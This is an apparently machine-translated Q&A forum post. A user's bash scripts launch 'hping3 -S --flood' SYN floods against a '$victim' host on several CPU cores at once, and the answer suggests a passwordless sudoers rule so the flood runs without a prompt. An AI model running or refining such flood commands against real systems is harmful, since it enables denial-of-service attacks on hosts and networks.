![如何在 CPU 核心上以 root 身份从另一个系统运行 shell 脚本?](https://linux22.com/image/1584061/%E5%A6%82%E4%BD%95%E5%9C%A8%20CPU%20%E6%A0%B8%E5%BF%83%E4%B8%8A%E4%BB%A5%20root%20%E8%BA%AB%E4%BB%BD%E4%BB%8E%E5%8F%A6%E4%B8%80%E4%B8%AA%E7%B3%BB%E7%BB%9F%E8%BF%90%E8%A1%8C%20shell%20%E8%84%9A%E6%9C%AC%EF%BC%9F.png)
我有一个脚本(A.sh)运行另一个脚本(B.sh),在该脚本中我需要一个 root 密码才能启动命令。
灰:
#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &
比什(hping.sh)
#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim
问题是,当 A.sh 尝试运行 B.sh 时,它会要求输入 root 密码,然后它会停止,它无法从控制台获取密码。
我该如何解决这个问题?
答案1
不建议在环境变量中设置 sudo 密码。其他人可能会访问该密码。相反,您可以修改 sudoer 的文件,允许某些命令无密码 sudo。在本例中为“hping3”。